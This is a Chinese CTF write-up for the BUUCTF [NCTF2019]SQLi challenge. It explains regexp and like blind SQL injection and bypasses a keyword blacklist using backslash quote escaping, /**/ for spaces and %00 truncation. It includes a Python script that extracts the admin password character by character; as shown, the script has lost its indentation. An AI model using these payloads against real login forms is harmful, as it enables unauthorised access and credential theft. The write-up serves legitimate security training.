前置知识

regexp 正则注入

select database() regexp "^d"; 输出是否数据库名开头是d
^d是正则表达式,也可以用其他的如
regexp '^[a-z]' #判断一个表的第一个字符串是否在a-z中
regexp '^r' #判断第一个字符串是否为r
regexp '^r[a-z]' #判断一个表的第二个字符串是否在a-z中
regexp 'y$' #判断最后一个字符串是否为y

(不过regexp不区分大小写)(坑)
用or password regexp binary {}
或者
or (select binary username from users limit 0,1) regexp '^{}'--+
https://blog.csdn.net/qq_43625917/article/details/105189912
https://blog.csdn.net/qq_36761831/article/details/82862135

like注入

ps:这个是顺带学的
百分比(%)通配符允许匹配任何字符串的零个或多个字符。下划线_通配符允许匹配任何单个字符。
1.like 's%'判断第一个字符是否为s
union select 1,database() like 's%',3 --+
2.like 'se%'判断前面两个字符串是否为se
union select 1,database() like 'se%',3 --+
3.like '%sq%' 判断是否包含se两个字符串
union select 1,database() like '%se%',3 --+
4.like '_____'判断是否为5个字符
union select 1,database() like '_____',3 --+
5.like 's____' 判断第一个字符是否为s
union select 1,database() like 's____',3 --+

适用情况

过滤了like,in,=

题目

打开是一个登录页面,还有弹窗和甩脸上的SQL语句。

​ select * from users where username=’’ and passwd=’’

尝试登录无果,试一下寻找信息。发现有robots.txt

robots.txt有hint.txt

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

分析

没有过滤\,则可以username中输入\,这样语句就变成了
select * from users where username='\' and passwd=''
由于一个单引号被转义,那么就username='\' and passwd='然后剩下一个单引号
所以我们passwd可以输入我们要的语句||passwd regexp "^a";%00
即用00截断(题目PHP版本5.2.16),再补上分号符合格式
这样整一条语句就变成
select * from users where username='\' and passwd='||passwd regexp "^a";%00'
接下来只需要一直换正则内容就行,空格用/**/绕过,过滤常用注释符->00截断

解题

脚本

先burp跑一下,查看正确的,方便写脚本

# buuctf web [NCTF2019]SQLi
import string
import requests
from urllib import parse
# 字典
passwd = ''
string = string.ascii_lowercase + string.digits + '_' # +string.ascii_letters
# 小写字母,数字,全部字母

# 构造字典

# dict_list = [ i for i in range(97,123)]
# shuzi = [i for i in range(48,58)]
# dict_list +=shuzi
# dict_list.append(95)

url = 'http://dadcd953-c830-4ce9-b813-b10e1544ac89.node4.buuoj.cn:81/'

for n in range(100):
for m in string:
data = {
"username": "\\",
"passwd": "||/**/passwd/**/regexp/**/\"^{}\";{}".format((passwd + m), parse.unquote('%00'))
# parse.unquote('%00')和quote ()相反,将转义符替换为原本的字符,比如会把" %3A "转义为": "。
# 'passwd': '||/**/passwd/**/regexp/**/"^{}";\x00'.format((pw + i))

}
res = requests.post(url, data=data)
if 'welcome' in res.text:
passwd += m
print(passwd)
break
if m == '_' and 'welcome' not in res.text:
break
print(passwd)

得到

you_will_never_know7788990

填入密码然后登录就可以得到flag

总结

regexp注入,还有其他like注入,多掌握几种。闭合方式也不是只有单引号,也可以转义。SQL没有系统学过,还是有很多未掌握的知识

参考

https://fanygit.github.io/2021/08/27/[NCTF2019]SQLi%201/

https://blog.csdn.net/weixin_43610673/article/details/106029042

https://blog.csdn.net/l2872253606/article/details/125265138

https://blog.csdn.net/SopRomeo/article/details/108983645